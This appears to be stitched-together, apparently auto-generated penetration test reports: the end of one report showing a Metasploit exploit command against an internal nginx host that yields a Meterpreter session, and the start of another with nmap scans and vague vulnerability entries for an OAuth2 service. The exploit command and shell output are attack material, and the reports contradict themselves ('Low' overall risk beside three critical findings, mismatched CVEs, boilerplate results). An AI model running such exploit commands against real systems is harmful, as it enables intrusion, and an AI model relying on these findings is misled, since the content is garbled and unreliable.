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Tool: Metasploit Framework 6.1 |
Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.91.55; set RPORT 80; exploit" |
Output: |
[*] Exploiting known vulnerabilities: |
- CVE-2021-23017 (CVE-2021-23017) |
- CVE-2022-41741 (CVE-2022-41741) |
[*] Started reverse TCP handler on port 80 |
[*] Sending payload... |
[*] Sending stage (516 bytes) |
[*] Meterpreter session 9 opened |
[*] Session established |
[*] Gained www-data access |
[*] Connected to 192.168.91.55 |
[*] Post-exploitation modules available: |
- shell |
- php_eval |
- file_upload |
=== Final Assessment === |
Overall Risk Rating: Low |
Confidence Level: Low |
Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation |
Key Findings: |
- 3 critical vulnerabilities identified |
- 4 high risk issues found |
- System configuration needs hardening |
Recommendations: |
1. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. |
2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. |
3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. |
Next Steps: |
- Address critical vulnerabilities within 24 hours |
- Remediate high risk findings within 7 days |
- Schedule retesting after fixes are implemented |
- Conduct developer security training focusing on OWASP Top 10 |
--- END REPORT --- |
=== Automated Penetration Test Report === |
Test ID: PT-2025-05-11-0102 |
Date: 2025-05-11 19:07:19 |
Tester: asmith |
Organization: Acme Security |
Confidentiality: STRICTLY CONFIDENTIAL |
Test Objective: execute penetration testing on the OAuth2 authentication service (10.137.201.82) |
Scope: Internal security assessment |
Rules of Engagement: Standard |
=== Discovery Phase === |
Tester: nmap -sV -O --script=banner -p80 10.137.201.82 |
Tool Output: |
Starting Nmap 7.92 at 2025-05-11 19:07:19 |
Nmap scan report for 10.137.201.82 |
Host is up (0.43s latency). |
MAC Address: B2:A2:D9:EB:29:4F (Amazon) |
80/tcp open http nginx/1.18.0 |
OS details: Linux 4.15.0-112-generic |
OS CPE: cpe:/o:linux:linux_kernel:4.15 |
Network Distance: 3 hops |
Service Info: Hostname: oauth2-authentication-service-01 |
Nmap done: 1 IP address (1 host up) scanned in 6 seconds |
=== Vulnerability Assessment === |
Tools used: |
- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection |
- Burp Suite: Manual testing, session analysis, and business logic flaw identification |
- Nmap scripts: Service enumeration and vulnerability verification |
- Metasploit: Exploit verification and proof-of-concept testing |
## Vulnerability 1: Insecure Configuration |
CVE: CVE-2020-14750 |
CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.4) |
Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review |
Test Method: nmap --script vuln -p80 10.137.201.82 |
Result: |
Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. |
Remediation: See vendor documentation |
## Vulnerability 2: Information Disclosure |
CVE: CVE-2022-15284 |
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) |
Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review |
Test Method: nmap --script vuln -p80 10.137.201.82 |
Result: |
Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. |
Remediation: See vendor documentation |
=== Exploitation Phase === |
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